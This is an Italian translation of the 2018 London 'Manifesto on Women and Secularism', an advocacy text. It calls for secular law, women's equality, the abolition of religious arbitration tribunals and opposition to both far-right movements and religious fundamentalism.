Manifesto su donne e laicità

MANIFESTO SU DONNE E LAICITA’ (MANIFESTO ON WOMEN AND SECULARISM) – Londra, 25 novembre 2018

Il presente manifesto, redatto in occasione dell’International Conference on Sharia, Segregation and Secularism (Conferenza internazionale su Sharia, segregazionismo e laicità, www.secularconference.com), enuncia i princìpi fondamentali della nostra resistenza al fondamentalismo religioso e della nostra battaglia per una democrazia laica.

Oggi assistiamo alla presa di potere e all’ascesa dei movimenti d’estrema destra, coi fondamentalismi religiosi in prima fila, nei paesi democratici come in quelli autoritari. Anche nelle società più laiche, le associazioni religiose hanno acquistato potere in quanto sono considerate alleate preziose: per offrire servizi surrogati di quelli statali in costante riduzione, per contrastare i movimenti radicali per la giustizia sociale, per partecipare alle strategie anti-terrorismo e alla “stabilizzazione” post-conflitto, per sostenere la privatizzazione del diritto. Dalle banche per la cooperazione allo sviluppo agli aiuti occidentali alle associazioni per i diritti umani, i fondamentalisti, specie islamici, hanno trovato appoggio in nome dei diritti delle minoranze e della libertà di religione. Parte integrante di tale progressiva acquiescenza e promozione, da parte non solo dei regimi e dei movimenti fondamentalisti ma anche dei paesi occidentali e delle istituzioni internazionali, è la crescita, in seno alle comunità [di minoranza], di ordinamenti giuridici paralleli, fondati sulla Sharia o d’altro tipo.

Quando i movimenti d’estrema destra, coi fondamentalismi religiosi in prima fila, acquistano potere o accettazione sociale, i primi bersagli sono le donne. Essi cancellano le donne dallo spazio pubblico, le trattano da cittadine di seconda classe, le considerano mere estensioni dell’onore familiare/religioso/nazionale, anziché individui titolari dei diritti umani universali.

Nel 70° anniversario della Dichiarazione universale dei diritti umani, vogliamo ricordare come i popoli del mondo si siano uniti nella speranza di eradicare guerra, colonialismo e fascismo, e garantire i diritti umani a tutte le persone, a prescindere da genere, “razza”, cittadinanza e ogni altro status.

Quelle battaglie ponevano l’accento sulla nostra comune umanità ed eguaglianza, non sulla differenza o superiorità; eppure, temiamo che gran parte di quelle battaglie, fondative dei diritti universali, siano state cancellate dalla storia e marchiate come “occidentali” da una serie di politiche identitarie regressive. Coloro che considerano i diritti umani e i valori laici come “occidentali” semplicemente negano la storia delle battaglie per la laicità condotte a livello locale in Africa, Medioriente ed Asia, e dimenticano che tali valori erano senz’ombra di dubbio intesi come l’unica struttura portante per l’edificazione di società multi-etniche, multi-religiose e pluraliste, fondate sull’emancipazione delle donne e delle minoranze.

Oggi riconosciamo di dovere i nostri diritti alle lotte di liberazione per i diritti civili combattute in tutto il mondo, le quali hanno posto le fondamenta dei diritti umani moderni, ivi compreso il diritto delle donne alla parità e alla libertà d’espressione e di coscienza, che è libertà DI e DALLA religione.

Ribadiamo la nostra opposizione all’estrema destra fascista come ad ogni fondamentalismo religioso, ché l’uno si nutre dell’altro, sono l’uno all’altro complementari e indispensabili – ma l’uno non può mai servir di pretesto per tollerare l’altro. Ribadiamo la centralità dell’universalità dei diritti e il principio della laicità – la completa separazione della religione dallo Stato – a garanzia che la religione non possa influenzare lo Stato e la politica pubblica né far ingerenza nella vita privata delle persone.

La campagna “One Law for All” (“la legge è uguale per tutte e tutti”) si batte in nome dell’universalismo e della laicità e contro l’oppressione religiosa. Nel decimo anniversario di “One Law for All”, esigiamo:

la promozione per tutte le persone, specie donne e minoranze, d’un approccio universale fondato sui diritti umani, a cominciare dal diritto d’accesso a leggi laiche, civili, modificabili, fondate sul suffragio popolare, anziché immutabili leggi “divine”;
il diritto alla libertà di coscienza e d’espressione, ivi compreso il diritto alla blasfemia e all’apostasia;
l’abrogazione, nel diritto di famiglia, civile e penale, delle norme fondate sulla religione, in particolare ove costituiscano violazione dei diritti umani, e l’abolizione dei “tribunali” comunitari fondati sulla Sharia o d’altro tipo e dei consigli tradizionali quali jirga e panchayat, nonché d’ogni altro sistema d’arbitrato privato;
il rafforzamento dell’accesso alla giustizia, a cominciare dall’assistenza legale per tutte e tutti;
la promozione della parità di genere e l’eliminazione di codici e costumi religiosi repressivi che siano in contrasto e contraddizione coi diritti e l’indipendenza delle donne;
la proibizione, nell’ambito dell’istruzione e negli altri spazi pubblici, della segregazione di genere, dell’obbligo del velo e d’altre pratiche stigmatizzanti (ad es. ritenere le mestruazioni una forma d’impurità) miranti a render vulnerabili le donne e le bambine e stigmatizzare i gruppi emarginati;
l’eradicazione delle norme e pratiche religiose che violino i diritti dei/delle minori all’istruzione, all’informazione, alla creatività e alla libertà di coscienza e d’espressione: obbligo del velo per le bambine, matrimonio precoce, violenza sessuale, violenza rituale, mutilazioni e usanze che sfruttino i/le minori nelle cerimonie religiose;
il contrasto ad ogni discorso di matrice razzista e/o fondamentalista, che faccia appello a Sharia, fascismo, antisemitismo, castismo o a qualunque ideologia che neghi l’universale dignità d’ogni essere umano;
un’analisi, da parte degli Stati e della società civile, delle modalità nelle quali leggi, politiche e costumi costituiscano o favoriscano le violazioni dei diritti umani promuovendo o tollerando in silenzio il razzismo verso le minoranze e le persone migranti e richiedenti asilo, e servendosi dei fondamentalisti come alleati nella lotta al terrorismo, nelle guerre e nella “stabilizzazione” sociale post-conflitto;
il riconoscimento della laicità quale diritto umano fondamentale nonché precondizione minima dei diritti delle donne e delle minoranze.

International Conference on Sharia, Segregation & Secularism – www.secularconference.com

One Law for All – onelawforall.org.uk

[traduzione a cura di Roberta Ronchi per il Centro interculturale delle donne di Trama di Terre; testo originale: www.southallblacksisters.org.uk/news/manifesto-on-women-and-secularism]

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2019-08-06T18:20:00+02:00